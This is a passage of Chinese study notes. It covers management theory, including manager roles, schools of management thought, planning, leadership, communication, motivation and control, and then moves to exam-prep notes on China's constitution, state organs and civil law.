    • 承上启下，领会高层管理者知识，指挥基层管理者
    • 既关注效益又关注效率

  • 基层管理者

    • 保证上级完成上级下达的各项计划和指令，更关心具体任务的完成
    • 更关注 效率

错位表现

  • 高层：越级指挥和事必躬亲
  • 中层：仅仅停留与上传下达
  • 基层：根据自己的判断做事

角色定位

  • 基层
    • 服从上级指挥，职权对等
    • 作为组织成员，可以建议和质询
    • 两种身份
  • 高层
    • 管理直属下级，不要越级
    • 下属的下属
      • 有监督权
      • 没有支配权
      • 没有强制权
      • 没有奖赏权
    • 把握分寸

权力

构成性质作用作用基础适用范围
支配权命令必须服从工作需要工作职责范围内
强制权威胁迫使下属惧怕履行应尽职责
奖赏权奖励诱使交换原则额外工作
  • 三个权力组成指挥权
  • 原则：多表扬，少批评，巧支配

责任

  • 领导责任

    • 他人完成工作，但需要由其他人对组织承担责任的责任
    • 对分管部门或工作的运作效果负责
    • 对下属人员的工作行为负责
    • 对分管部门所提供的信息的及时性和准确性负责

  • 管理者的权力可以下授

  • 对组织的责任不可推卸

作用

  • 管理者既不是万能的，也不是无能的
  • 内外部既定的环境中，管理者对组织绩效有决定性作用
  • 需要管理者，很大程度上就是组织内外部环境的不确定性和资源不足等问题存在

素质要求

  • 高层管理者
    • 最重要的 能力 是 判断能力
    • 最重要的 品质 是 事业心或上进心
  • 中层管理者
    • 最重要的 能力 是 理解能力和沟通能力
    • 最重要的 品质 是 责任心和事业心
  • 基层管理者
    • 最主要的 能力
      • 理解能力
      • 体质经理
      • 领导能力
    • 最主要的品质
      • 责任心
      • 忠诚
    • 知识结构
      • 专业的业务知识

优秀管理者

  • 全局观
  • 系统观
    • 以小见大，能够看透相互之间的联系
    • 复杂问题简单化
  • 创新性
    • 主动性
    • 试错

管理思想

概念

  • 人们对管理过程中发生的各种关系的认识总和，是由一系列观念或观点构成的知识体系
  • 知道管理人员从事各项管理活动的路标和蓝图，管理思想的正确与否，直接关系到各项管理活动的效率与效益
  • 随着内外部环境的变化和人们对于管理认识的深入，管理思想也随之发生着相应的演变，并因此形成了若干类不同的管理思想
  • 关系
    • 观念决定行为，行为决定结果，结果修正观念
    • 要达到好的结果，需要合适的行为，也就需要正确的观念
    • 所以要正确，就需要对情景有正确的判断
    • 管理学就需要有
      • 明确的前提
      • 领会需要管理的内容
      • 适用对应的方法

学习的目的

  • 理解现代管理理论是如何形成的
  • 对于有效管理已有怎样的成果
  • 借鉴前人思想可以知道当今实践

经验管理思想

基本观点

  • 管理的有效性取决于个人的经验
  • 只有在实践中才能培养出管理者

代表人物

  • 德鲁克
  • 明兹伯格

科学管理思想

基本观点和特点

  • 主张用科学代替经验
  • 研究重点在于如何提高效率
  • 管理专业化，职业化

科学管理四条原则（泰勒）

  • 工人操作的动作需要科学方法
  • 科学挑选工人，并进行培训和教育
  • 与工人密切合作，确保所有工作按科学原则进行
  • 管理者和工人的工作和职责几乎是均分的，管理者应该承担那些自身比工人更胜任的工作

一般管理十四条原则（法约尔）

理想的官僚组织理论（韦伯）

应该具备的条件

  • 清楚明确的任务和角色关系
  • 清楚明确的执权登记
  • 规则和标准操作程序系统
  • 公平公正的筛选和评价系统

六大特点

  • 劳动分工
  • 权力体系
  • 正规选择
  • 规章制度
  • 非人格化
  • 职业导向

代表人物

  • 泰勒（科学管理理论）
    • 管理要走向科学
    • 劳资双方的心理革命
  • 法约尔（一般管理理论）
  • 韦伯（官僚组织理论）

行为管理思想

基本观点

  • 人不仅是经济人更是社会人
  • 人的劳动生产率受到社会的、心里的和群体的因素影响

特点

  • 改变了人们对管理的思考方法
  • 把人看作宝贵的资源，抢到了人的影响

代表人物

  • 梅约（社会人观点）
  • 马斯洛（需求层次理论）
  • 麦克雷戈（X 理论和 Y 理论）
    • X 理论：人是懒惰的，不推不动
    • Y 理论：人性本善，大部分人不厌恶当前工作

定量管理思想

基本观点

  • 有效管理的关键在于度的把握
  • 定量化才能提高管理的效率和效益
  • 核心思想：把数学、统计学和计算机用于统计决策和提高组织效率

特点

  • 力求减少决策中的个人艺术成分
  • 依靠一套程序和数学模型寻求最优答案

三个分支基石

  • 管理科学
    • 运筹学
    • 等
  • 作业管理
  • 信息技术在管理中的运用

代表人物

  • 亚历山大·西蒙

推荐书目

  • 管理决策新科学

  • 管理行为

  • 决策是如何产生的

  • （均为西蒙所著）

权变管理思想

基本观点

  • 不存在普适的管理理论与方法
  • 每一种管理理论与方法都有一定的适用范围

主要内容

  • 系统理论
    • 组织是一个开放的系统
  • 权变理论
    • 每一个组织具有不同的形态，面对不同的情境，需要不同的管理方式
  • 过程理论
    • 管理过程

代表人物

  • 巴纳德《经理的职能》
  • 卡斯特《组织与管理：系统方法和权变方法》
  • 孔茨和奥·唐奈《管理学》

西方管理思想发展历程

  • 工业革命
    • 经验管理
  • 发明热
    • 科学管理
  • 工作细化单调
    • 行为管理
  • 企业发展巨型化，空心化
    • 定量管理
  • 经济全球化
    • 权变管理

中国理论管理发展状况

  • 古代
    • 繁星点点，没有系统
  • 现代
    • 能够与西方同步
    • 着手整理古代管理思想
    • 开始总结国内管理实践中的成功与失败经验
    • 开始探索中国特色的管理理论和方法的建立

中国实践管理发展状况

  • 以经验管理为主
    • 经验管理 80%
    • 行为管理 70%
    • 权变管理 50%
    • 定量管理 35%
    • 科学管理 20%

东西方管理思想差异

西方

  • 崇拜科学
  • 崇尚理性
  • 习惯按规则行事
  • 规范到高效
  • 有序到柔性
  • 管理到领导

东方

  • 崇尚实干
  • 崇拜个人能力
  • 习惯依照自己判断行事
  • 如何从不规范走向规范
  • 规范到高效

21 世纪管理挑战

核心

乱

三大主题

  • 客户满意
  • 可持续发展
  • 组织变革
  • 创新将成为主旋律

各管理思想适用前提

  • 做事相关

    • 科学管理思想

  • 人大于做事

    • 行为管理思想

  • 复杂环境

    • 权变管理思想

  • 大量数据

    • 定量管理思想

  • 综合

    • 学习他人先进思想
    • 结合自身实际情况，创造性地运用

目标

意义

  • 目标是一种手段
  • 管理者的重要任务之一，是让目标存在
  • 作用
    • 方向
    • 里程碑
    • 推进剂
    • 催人奋进

重要性

  • 目标是管理的基本出发点

    • 确立一个清楚正确的目标是科学发展的前提
    • 也是组织开展各项工作的基础

  • 提供了决策的准则

  • 是一切工作的行动指南

  • 是协调岗位、部门之间关系的基础

  • 好的目标能够激励人的内在工作热情

  • 目标达成度是衡量工作好坏的标准

组织目标

特点

  • 差异性
  • 多元性
  • 层次性
  • 时间性

构成

  • 战略
  • 规划
  • 计划
  • 计划的长度，取决于 承诺原则

制定过程

  1. 内外部环境分析
    • 外部环境分析（可）
    • 内部实例分析（能）
    • 愿景和追求分析（想）
    • 定位或目标的确立是建立在对自我的了解基础之上的
  2. 拟定总体目标方案
  3. 评价并选择方案
  4. 总体目标的具体化
  5. 目标体系的优化
  6. 修正
  • 横向协调
  • 纵向协调
  • 综合平衡
    • 产生矛盾后做出的决策

原则

  • 以满足社会或市场需求为前提
  • 以提高组织投入产出率为出发点

目标值的确定

  • 先进性
    • 需要比现状高
    • 但是不能太高
  • 企业成员的愿景和市场竞争的需要
  • 合理性判断
    • 充分利用社会资源
    • 创新，变革，合作等
  • 综合
    • 先基于愿景制定先进性目标
    • 再基于现状进行合理性判断
  • SMART 原则
    • Specific（具体的）：总体要求
    • Measurable（可衡量）：目标值
    • Attachable（可实现）：目标值
    • Relevant（相关联）：目标内容
    • Time-bound（有时限）：时间要求

落实

  • 通过计划工作和组织工作加以落实
    • 计划工作：有限资源的合理配置
    • 组织工作：合理分工和建立明确的协作关系
    • 领导工作：积极性调动和方向把握
    • 控制工作：纠偏

推荐书目

  • 《二十一世纪地管理挑战》德鲁克

计划

定义

  • 对未来活动的事先预测、安排和应变处理

作用

  • 指导人们总是把最稀缺的时间资源用于最重要的事情
  • 而不仅仅是严格按计划执行
  • 计划是重要的沟通手段
  • 学院派的作用
    • 梳理
    • 压力
    • 效益
    • 效率

要素

  • 宗旨
    • 预测
    • 安排
    • 应变处理
  • 详细
    • 前提
    • 目标（What）
    • 目的（Why）
    • 战略（How）
    • 责任（Who）
    • 时间表（When）
    • 范围（Where）
    • 预算
    • 应变措施

制定过程

  • 将要素一条一条予以明确

制定方法

四种方法

  1. 网络计划技术
    • 任务目标
    • 工作内容
    • 相互关系和先后次序
    • 连线形成网络图
    • 取最长的路径为关键路径
  2. 甘特图
  3. 滚动计划法
    • 时间点最近粒度最细
    • 时间点越远粒度越粗
  4. 情景计划法
    • 最好情况
    • 最坏情况

理念

  • 长计划短安排
  • 短期的计划要围绕着长期的计划展开
  • 长期的计划要分解落实到短期安排中

时间管理

  • 响应时间：用于响应其他人的要求、请求和问题的时间

    • 管理重点

  • 自由时间：可以自行控制的时间

  • 重要性和紧急性紧急不紧急
    重要马上做有时间优先做
    不重要授权他人做或不做有空做或不做

  • 要事优先，难事分解

  • 学会说“不”

    • 明确自己的价值观以做出选择

其他

  • 善于计划和善于总结是快速晋升的秘诀

决策

定义

  • 为了 实现某一目的 而从 若干可行方案 中选择一个 满意方案 的 分析判断过程
    • （若干一般为两到三个，最多不超过五个）
    • 最优方案既不经济又不现实，所以选择满意方案
    • 满意方案：主要目标能够实现，次要目标足够好的方案

科学决策

  • 决策过程理性化，决策方法科学化

正确决策

区别

  • 决策是一个 过程
  • 选择和决定是一个 时间点

实质

  • 一个 主观 判断的过程

重要性

  • 管理者从事管理工作的基础

决策方法

  • 鼓励通过 理性分析加上直觉选择 进行决策

决策建议

  • 目标清楚是决策的前提
  • 信息是决策的基础
    • 法无禁止则可为
    • 法无禁止则不为
    • 两种观念
  • 合作才能共赢
  • 真正对手是自己，注重眼前的人常失去长远
    • 短期成效看结果
    • 长期成效看过程
  • 竞争致胜需要创意和毅力
    • 善于创新和打破思维定势
    • （尤其在陷入困境时）
  • 决策过程也是展现人们道德观念的过程

一般组织的重大决策

  • 方向和目标决策
  • 重大项目、预算和投资决策
  • 组织结构调整和关键岗位的人事决策
  • 重要事项的决策程序和规则决策
  • 涉及利益调整等方面的决策

重大决策衡量标准

  • 问题的重要程度
    • 投入
  • 影响大小
    • 涉及的面
  • 后果大小
    • 损失
    • 收益

决策的生理机制

  • 神经管理学

提高决策正确率

  • 信息的量
  • 信息的质
  • 决策基于群体信息

推荐书目

  • 《条理化思维》

权力

配置

  • 组织分工调整同时必须同步跟进权力配置
  • 组织成员
    • 岗位权力
    • 参谋权力
  • 管理者
    • 上述之外还有
    • 指挥权
      • 支配权
      • 强制权
      • 奖赏权

类型

  • 直线权力
    • 表现为命令权力
  • 职能权力
    • 高层管理者的授权的指挥权
  • 参谋权力
    • 向他人咨询或建议的权利

多权力冲突处理

  • 多头领导
    • 界定范围
      • 限定层级
      • 限定作用范围
  • 参谋权和直线权
    • 直线指挥
    • 参谋建议
    • 不能越界

授权

重要性

  • 成功的分身术

区别

  • 分工代理助理授权
    关系同级等同上下级上下级
    责任各负责任代理期间承担相同责任协助工作
    不担责任    		授权者对组织负责
    被授权者对授权者负责

益处

  • 晋升条件不授权授权
    能力：工作业绩个人能力群体力量
    群众基础：群众意见独裁民主
    接班人：候选人无一批
    领导赏识：领导满意不一定满意

  • 最大益处：能让授权者享受生活的乐趣

过程和原则

  1. 任务的分派
  2. 权力的授予
    • 职以人授，爵以功授
    • 据事选人，依人定权
  3. 责任的明确
  4. 监控权的确认

集权与分权

  1. 组织规模大小
  2. 决策问题的重要性程度
  3. 下级管理者的素质
  4. 控制水平的高低
  5. 环境的动荡程度

领导

职责

  • 指导
  • 协调
  • 激励

影响力

  • 职权
    • 基本
    • 并不总是有效
      • 取决于下属接受度
  • 威信
    • 品德
      • 优良的品格
      • 深厚的感情
    • 专长
      • 杰出的才能
      • 渊博的知识

原则

  • 多赞扬
  • 少批评
  • 多引导
  • 常请求

有效性理论

  • 领导品质理论
  • 领导行为理论
  • 领导权变理论
  • 情景领导理论

从管理者到领导者

三项基本职责管理者领导者
确定工作内容计划和预算指明方向
建立人员架构和关系组织和落实协调关系
保证员工完成任务检查和纠偏激发鼓励

应变领导模式

沟通

要素

  • 信息发送者
  • 信息接收者
  • 信息渠道
  • 信息内容
  • 信息完整
  • 正确理解

类型

  • 自我沟通
    • 基础
  • 人际沟通
    • 组织沟通
    • 非正式沟通
      • 小道消息
      • 谣言

影响因素

概述

  • 行为主体
  • 沟通环境
  • 沟通内容
  • 沟通方式

态度

  • 态度沟通行为
    喜欢喜闻乐见，主动积极
    不喜欢听而不闻，沉默寡言
    讨厌不理不睬，拒绝参与

  • 例如：学生偏科现象等

个性

  • 个性倾向沟通方式
    内向慎言细听
    外向直爽粗心

  • 用于对方相同的方式进行沟通

情绪

  • 实际上是一种自卫机制
  • 信息处理
    • 逻辑判断
    • 情感分析
    • 生理反应
  • 内心情感和客观事实矛盾时，就会产生对结论的困惑
  • 困惑严重时，自卫机制会生效，从而影响沟通效果
  • 情绪化
    • 外向的人
      • 冷处理
      • 听人讲到不讲为止
      • 最后再发表观点
    • 内向的人
      • 热处理
      • 陪伴和聊天（打断其思维模式）
      • 引导走出思维陷阱
        • 归因到稳定和不稳定因素上
        • 不要从任务上升到能力
        • 不要从举动上升到人格

知觉

  • 理解能力决定了效果
  • 知识水平决定理解能力

目的

  • 取得对方的理解与支持

有效沟通

  • 信息接收者愿意按照信息发送者的意图采取相应行动

改善人际沟通

信息发送者

  • 了解沟通对象
  • 积极进行劝说
  • 需要勇敢开口
  • 态度诚恳
  • 注意选择时机
  • 提高表达能力
  • 注意双向沟通

信息接收者

  • 积极倾听而非单向输出

  • 倾听四个层次

  • 四个层次要点
    听清内容排除干扰，保持安静
    注意要点集中精力，全神贯注
    理解含义设身处地，开动脑筋
    掌握精髓及时反应，达成目的

  • 忠告

    • 不要随意打断
    • 向对方作出反应
    • 站在对方角度看问题
    • 保持耐心，控制情绪
      • 生气的人常常误解对方的意思

沟通技巧

  • 语气
  • 说服与拒绝
    • 请求他人帮忙
      • 重视平时人际关系
      • 详细说明目标、步骤、时间等
      • 检查成果并承担责任
    • 拒绝他人请求
      • 说明理由
      • 表明歉意
      • 说明能力范围
      • 无论如何也无法接受时，拒绝前提供一些替代方案
  • 领导和同事
    • 与领导沟通
      • 工作作风严格认真，态度积极
      • 主动沟通
      • 开发创新的思维和团队精神
      • 服从行政级别制度，尊重上级
    • 与同事相处
      • 成功来自团队，每个人都重要
      • 控制优越感 ，得道多助失道寡助
      • 言必行行必果
      • 请求帮助时表示感谢
      • 不要扎堆埋怨他人

激励与动力

人性

概述

  • 本性：兽性
  • 人性
    • 理性
    • 社会性
  • 一个人的成长取决于接受社会教育的程度

四种观点

  • 自然人
  • 经济人
  • 社会人
  • 复杂人

以人为本

  • 本
    • 本源
      • 主体：出发点、归结点
    • 根本
      • 基础：依靠点
    • 资本
      • 核心竞争力：支撑点
  • 什么人
    • 组织内外各方面、各群体、各个体的人
  • 人的什么
    • 各种需求、各个方面
  • 误解
    • 以人情为本
    • 以个人为本
    • 松散的管理
    • 无条件满足

动机

激励理论

激励理论着重点代表理论
内容型研究需求需求层次理论
成就激励论
双因素理论
行为改造型研究行为控制归因理论
强化理论
过程型研究一个人被打动的过程期望理论
公平理论

马斯洛需求层次理论

赫茨伯格双因素理论

  • 满意的对立面是没有满意
  • 不满意的对立面是没有不满意
  • 满意 -> 没有满意 -> 没有不满意 -> 不满意 => 逐级下降
  • 保健因素
  • 激励因素是以人对工作本身的要求为核心的
  • 只有激励因素的满足，才能激发人的积极性

弗洛姆期望理论

  • 假设：人是理性人
  • 激励力量（M） = 效价（V）* 期望值（E）

亚当斯公平理论

  • 假设：人是社会人
  • 不公平感
    • 主观
      • 解决方法：公开
    • 客观
      • 解决方法：公正
      • 推荐半公开流程
        • 薪酬导向
        • 平均线
        • 最高线
        • 最底线
      • 不推荐全公开、不公开
        • 全公开解释负担大
        • 不公开激励作用小

斯金纳强化理论

  • 假设：人是学习人
  • 可以通过改变环境保持和加强积极行为，从而转消极为积极

激励机制和原则

  • 针对人的需求和行为，通过各种外在手段加以引导和刺激，使其为组织目标实现而行动

激励方法

  • 工作激励
  • 成果奖励
  • 培训教育
  • 推荐的报酬体系：
  1. 提供满足的报酬
  2. 报酬有市场竞争力
  3. 内部公平性
  4. 以上三方面能够清楚感知
  • 激励下属的方法
    • 理念引导，目标诱惑
    • 用其所长，做其所愿
    • 尊重人格，回馈业绩

控制

前提

  • 有计划
  • 有组织
  • 有领导

类型

  • 控制点
    • 事前控制
    • 事中控制
    • 事后控制
  • 性质
    • 预防性控制
    • 纠正性控制
  • 信息来源
    • 前馈控制
    • 反馈控制
  • 方式
    • 集中控制
    • 分层控制
    • 分散控制

方式

  • 思维控制
  • 行为控制
  • 资源控制
  • 信息控制
  • 例外控制
  • 结果控制

构成

  • 控制目标体系
  • 控制的主题
  • 控制的对象
  • 控制的手段和方法

两种方法

  • 传统的控制方法
  • 基于责任感的控制方法

重要性

  • 组织环境不确定
  • 组织活动复杂
  • 管理失误不可避免
  • 提升组织效率和竞争力

过程

基本原则

  • 重点原则
  • 客观及时准确原则
  • 灵活性原则
  • 经济性原则

方法

  • 建立良好的文化氛围
  • 实施目标管理
  • 健全控制机构和制度
  • 监理检查监督体系
  • 建立合理的奖惩制度

难点

  • 确定合理的标准
  • 衡量实际业绩

创新

定义

联系

主要障碍

  • 资源短缺和缺少管理层的支持
  • 僵化的组织结构和官僚主义
  • 害怕失败与地质变化
  • 从众或对创新行为过分挑剔
  • 创新中贪大求洋、急于求成

突破思维定势

  • 不按常理出牌
  • 主动挑战规则
  • 克服从众心理
  • 善于寻求多种答案
  • 逆向思维，对立面思考

技法

  • 问题识别法
    • 问为什么
  • 头脑风暴法
  • 列举法
  • 联想类比法
  • 移植法
  • 核心是：推迟判断和拓展思路

公共基础知识

事业单位考试《公共基础知识》的考点内容。

也可作为日常的常识加以记忆。

宪法

宪法概述

国家基本制度（三大制度）

一般政治制度

政治制度

国体
  • 中华人民共和国是工人阶级领导的、以工农联盟为基础的 人民民主专政的社会主义国家。
政体
  • 人民代表大会制度
政党
  • 多党合作和政治协商制度
  • 八大民主党派
    • 民革
    • 民盟
    • 民建
    • 民进
    • 农工党
    • 致公党
    • 九三学社
    • 台盟

选举制度

基本原则
  • 平等
    • 人人平等
    • 地区平等
    • 民族平等
  • 普遍
    • 选举权
      • 中国公民
      • 18 周岁
      • 未被剥夺政治权利
    • 例外
      • 精神病人
      • 刑事犯罪
  • 直接间接
    • 乡县两级：直接选举
    • 地州及以上三级：人大代表选举
  • 其他
    • 投票秘密自由
    • 可委托选举
选举程序
  • 选民登记
  • 候选人提名
  • 投票与确定结果

自治政治制度

民族区域自治制度

一般其他地方

  • 国

  • 省

  • 市

  • 县/区

  • 乡/镇

自治地方
  • 自治区
    • 最高名称：主席
  • 自治州
  • 自治县
自治机关
  • 人民代表大会
    • 人大常委会的主任或副主任以及
    • 政府的正职由自治公民担任
  • 政府
  • （小部分立法权和行政权，没有司法权和监察权）

特别行政区制度

  • 中央政府负责 外交
  • 中央政府负责 防务 （国防）
  • 中央政府任命特别行政区 行政长官 和行政机关的主要官员
  • 全国人大常委会有权决定特别行政区进入 紧急状态
  • 全国人大常委会享有对特别行政区基本法的解释权
  • 全国人大对特别行政区基本法享有修改权

基层群众自治制度

  • 指导和被指导
  • 居委会
  • 村委会
  • 没有工资有补贴
  • 兼职

经济制度

  • 以公有制为主体，多种所有制经济共同发展
  • 公有制经济
    • 矿藏、水流和城市土地属国家所有
    • 宅基地和自留地、自留山，属于集体所有
    • 其他自然资源默认归集体所有
  • 非公有制经济
    • 个体经济
    • 私营经济
    • 三资企业等

公民的基本权利与义务（六大权力）

平等权

  • 司法平等
  • 守法平等

政治权利和自由

  • 政治权利
    • 选举权
    • 被选举权
  • 政治自由
    • 言论
    • 出版
    • 集会
    • 结社
    • 游行
    • 示威
    • 没有罢工自由

宗教信仰自由

  • 共产党员不能有宗教信仰

监督权

  • 仅限于国家机关和国家工作人员

  • 批评权

  • 建议权

  • 控告权

  • 检举权

  • 申诉权

人身自由

  • 生命权
  • 人身自由不受侵犯
    • 逮捕令
    • 法院和检察院签发
  • 人格尊严不受侵犯
    • 不告不理
    • 侮辱、诽谤、侵占
  • 住宅不受侵犯
    • 搜查令
    • 公安机关就可签发
  • 通信自由和通信秘密 受法律保护

社会经济和文化教育方面的权力

  • 财产权
  • 劳动权和休息权
    • 劳动权（16 岁享有）既是权力也是义务
  • 受教育权
    • 既是权力也是义务
  • 获得物质帮助权
    • 年老
    • 疾病
    • 丧失劳动能力
    • （综合来讲就是社会保障）
  • 文化权力和自由

国家机构（六大机构）

人民代表大会及其常委会（立法 权力）

  • 所有区域（五级）

性质和代表

  • 最高权力机关和立法机关

组成和任期

  • 省级代表和军队代表
  • 总数不大于 3000 人，每一少数民族至少应有一名代表
  • 任期五年
  • 任期届满两个月前必须完成下届选举

职权

立法（两种）
  • 修改宪法
    • 1/5 以上人民代表提议
    • 全国人大常委会提议
    • 2/3 人数以上通过
  • 基本法律立法（制定或者修改）
    • 民事
    • 刑事
    • 国家机构相关
    • 过 半数 通过
选举（五种）
  • 国家主席和 副主席
  • 中央军委主席
  • 最高法院长
  • 最高检检察长
  • 监察委员会主任
决定（两种）
  • 国务院总理
  • 中央军委等人
监督（四种）
  • 监督宪法实施
  • 改变或者撤销全国人大常委会在闭会期间做出的不当决定
  • 审核和批准国家预算和国家预算情况
  • 监督计划经济的预案
地区建置（两种）
  • 批准省、自治区和直辖市的建立
  • 决定特别行政区的设立
战争与和平（一种）
  • 决定战争与和平

会议制度

  • 每五年举行一次
  • 人大常委会召集

人大代表权力

  • 言论免责权（各级代表在会议上）
  • 刑事豁免权（县级以上代表）
    • 现行犯除外
    • 逮捕令需要同级人大同意

人大常委会的职权

  • 解释宪法

  • 解释法律

  • 决定和任免 国家机关领导人员

  • 一般性法律的立法

  • 省和特别行政区等进入紧急状态

人民政府（行政 执法）

  • 所有区域（五级）
  • 领导与被领导
  • 国务院为最高机关
    • 全体会议
      • 总理
      • 副总理
      • 国务委员
      • 部长
      • 委员会主任
      • 审计长
      • 秘书长
    • 常务会议（缺少以下人员）
      • 部长
      • 委员会主任
      • 审计长
    • 决定省、自治区和直辖市的区域划分
    • 批准自治州、县、自治县、市的 建置 和区域划分

人民法院和人民检察院（司法）

  • 县级以上（四级）

人民法院（审判机关）

  • 监督与被监督
  • 四审两审终审制
  • 区县级法院派出法庭
  • 最高人民法院巡回法庭

人民检察院（法律监督机关）

  • 领导与被领导

监察委员会（监察）

  • 县级以上（四级）
  • 领导与被领导
  • 监督、调查和处置
    • 监督公职人员
      • 公务员
      • 领导
        • 国企
        • 事业单位
        • 村委会
        • 居委会
    • 调查公职人员的 职务违法 和 职务犯罪
    • 处置
      • 党纪政务处分
      • 监察建议

国家主席

  • 国家元首，传话筒

中央军事委员会

民法

概念

民法是调整平等主体之间的财产关系和人身关系的法律规范的总和。

基本原则

  • 平等原则
  • 自愿原则（意思自治原则）【核心原则】
  • 公平原则
  • 诚信原则【帝王条款】
  • 绿色原则
  • 公序良俗原则

要素

  • 主体
    • 自然人
    • 法人
    • 非法人组织
  • 客体
    • 物（物权）
    • 行为（债权）
    • 智力成果（知识产权）
      • 著作权
      • 商标权
      • 专利权
    • 非物质利益（人身关系）
    • 有价证券
  • 内容

学习内容

  • 主体（主体）
  • 行为（客体中最重要的）
  • 权利（内容中的权利）
  • 责任（内容中的义务，违反后需要承担的责任）

主体

自然人

民事权利能力

  • 始于出生，终于死亡
    • 胎儿不算人
    • 死亡标准
      • 脑死亡（国际通用，但我国不采用）
      • 呼吸停止，血压为零
      • 法院宣告死亡

民事行为能力

  • 年龄
    • 无民事行为能力：[0,8)
    • 限制民事行为能力：[8,18)
      • 效力待定：监护人认可即有效，不认可即无效
      • [16,XX) 期间，若主动通过劳动谋生，则立即视为完全民事行为能力人（宪法规定 16 岁享有劳动权）
      • 限制民事行为能力人的 纯获利行为 ，是有效的
    • 完全民事行为能力：[18,XX)
  • 精神状况
    • 精神病人
    • 间歇性精神病人

宣告死亡制度

  • 利害关系人申请
    • 近亲属
    • 债权人
  • 人民法院对下落不明满一定期间的人宣告其死亡
  • 条件
    • 时间：下落不明满四年，意外事故满两年
    • 公告期：一年
    • 死亡时间：判决宣告之日
    • 法律后果：同自然死亡法律后果相同
  • 可以撤销

监护制度（不常考）

  • 法定监护
    • 未成年人
      1. 父母
      2. 祖父母/外祖父母
      3. 兄姐
      4. 以上有先后顺序，并且法定顺序不可推托
    • 精神病人
      1. 配偶（间歇性精神病人可以婚配）
      2. 父母和子女
      3. 以上有先后顺序，并且法定顺序不可推托
  • 指定监护
    • 存在冲突时，由调解机构指定
  • 遗嘱监护（民法典新增，可以跳过法定监护）
    • 条件是以父母为原监护人时才可以

法人

概念

享有民事权利能力和民事行为能力，能以自己名义享有民事权利和负担民事义务的社会组织。

特征

  • 依法成立
  • 财产独立（有必要的财产或经费）
  • 名义独立（有自己的名称、组织机构和场所）
  • 责任独立（能独立承担民事责任）

分类

  • 营利
    • 公司
  • 非营利
    • 事业单位
  • 特别
    • 机关
    • 基层自治组织

非法人组织

与法人区别

不能 独立 承担民事责任。非法人组织会拖累其他主体承担责任。

主要代表

  • 个体工商户
  • 合伙企业
  • 律师事务所（法律强制规定）
  • 会计事务所（法律强制规定）

民事行为

概念

民事主体设立、变更、终止民事权利和义务的行为。

形式（意思表示）

  • 明示
    • 口头形式
    • 书面形式
  • 默示
    • 推定
    • 默认

分类

  • 有效行为
    • 有效（三种）
  • 瑕疵行为
    • 无效（五种）
    • 可撤销（四种）
    • 效力待定（三种）

有效

  • 主体合格
  • 意思表示真实
  • 内容合法

无效

欠缺法律行为的根本生效要件而自始不发生行为人意思预期效力的民事行为。

  • 行为人不具有行为能力实施的民事行为；
  • 一方以欺诈、胁迫的手段所为的， 损害国家利益 的行为；
  • 恶意串通，损害国家、集体或者 第三人利益 的行为；
  • 以合法形式掩盖非法目的；
  • 违反法律或社会公共利益的行为。

可撤销

  • 重大误解
    • 三个月之内
    • 双方均可撤销
  • 显失公平
  • 欺诈
    • 受害者撤销
  • 胁迫
    • 受害者撤销

效力待定

  • 限制民事行为能力人
  • 无权代理
  • 无权处分

效力待定民事行为：

  • 追认 -> 有效
  • 不追认 -> 无效

补充

  • 表见代理
    • 概念
      • 虽无代理权但表面上足以使人相信有代理权而须本人承担后果的代理
      • 未授予代理权
      • 超越代理权
      • 代理权终止
    • 效果
      • 发生有权代理的效果
      • 相对人有选择权

民事权利

财产权

物权

  • 动产 -> 交付（转移标志）
  • 不动产 -> 登记（转移标志）
    • 土地
    • 土地附着物（房屋、树木等）
所有权（归属）
  • 占有权
  • 使用权
  • 收益权
  • 处分权（最重要）
    • 买卖
    • 毁灭
用益物权（使用）
  • 建设用地使用权（有偿）
    • 居住用地 70 年
    • 商业用地 40 年
    • 其他用地 50 年
      • 工业
      • 教育等
  • 宅基地使用权（无偿）
    • 无期限
  • 土地承包使用权（有偿）
    • 耕地 30 年
    • 草地 30-50 年
    • 林地 30-70 年
  • 居住权
  • 地役权
    • 居民对其他居民用地的使用权
担保物权（保证）
  • 抵押权
    • 可以不用交付对方
    • 动产、不动产都可以
  • 质权
    • 需要交付对方
    • 只针对动产
  • 留置权
    • 非自愿
    • 只针对动产

不动产抵押权生效

  • 书面抵押合同
  • 抵押登记

动产抵押权生效

  • 书面抵押合同

动产质权生效

  • 书面质押合同
  • 交付质物

依法不能抵押的财产

  • 土地所有权
  • 集体所有的土地使用权（法律规定可以抵押的除外）
  • 公益目的成立的非营利法人的教育、医疗和其他 公益设施
  • 所有权、使用权不明或 有争议的财产
  • 依法被查封、扣押、监管的财产
  • 法律、行政法规规定不得抵押的其他财产

债权

合同

民事主体之间关于设立、变更或终止民事关系的协议。也叫契约。

合同的签订应具备要约（意思表示）和承诺阶段。

  • 要约
    • 主动希望与对方签订合同
  • 承诺
    • 对方同意签订合同
  • 要约邀请
    • 向对方发出邀请：邀请对方向己方发出要约

例子

  • 广告：要约邀请
  • 受广告诱惑的买家：要约
  • 卖家：承诺
侵权
  • 人身关系
  • 财产关系
无因管理
  • 无因：没有义务
  • 典型例子：乐于助人他人事务
不当得利

继承权

优先以遗赠扶养协议处理。

  • 遗赠扶养协议是有偿的

其次以遗嘱判决。

法定遗嘱形式：

  • 公证
  • 自书
  • 代书
  • 录音
  • 录像
  • 口头
  • 打印

其中， 后五种 需要有 两名 以上的 见证人 ，方可有效。

再次以协商结果判决。

法定继承人的继承顺序：

  • 第一顺序：配偶、子女、父母。对公婆或岳父母尽了主要赡养义务的丧偶儿媳与丧偶女婿
  • 第二顺序：兄弟姐妹、祖父母、外祖父母（当第一顺序继承人全部不在时才轮到第二顺序）

补充

  • 代位继承
  • 转继承

人身权

人格权

生而具有。

  • 生命权
  • 健康权
  • 姓名权（自然人）
    • 需要营利
  • 名称权（法人）
  • 肖像权
    • 未经同意，营利，即侵犯肖像权
    • 丑化污损，或利用信息技术手段等伪造，也构成侵犯肖像权
  • 名誉权（自然人法人均有，无需证明）
    • 侵犯名誉权，其表述为独撰
  • 隐私权（自然人有，法人没有）
    • 侵犯隐私权，其表述为事实

身份权

一定地位或身份之后，被赋予的。

  • 荣誉权（自然人法人均有，需要证明）
  • 监护权
  • 婚姻家庭中的身份权

婚姻法

条件

  • 男女双方完全自愿

    • 可撤销婚姻
      • 欺诈（婚前重大疾病、未告知对方）
      • 受胁迫（重大误解、显失公平、欺诈都不算）

  • 法定婚龄（男 22 岁，女 20 岁）

  • 双方均无配偶

  • 禁止条件：直系血亲、三代以内旁系血亲

  • 形式条件：登记（区县人民政府的民政部门）

夫妻财产制度

夫妻财产制

夫妻关系存续期间，规定夫妻财产关系的法律制度。

  • 法定财产制
  • 约定财产制

夫妻共同财产

  • 工资、奖金
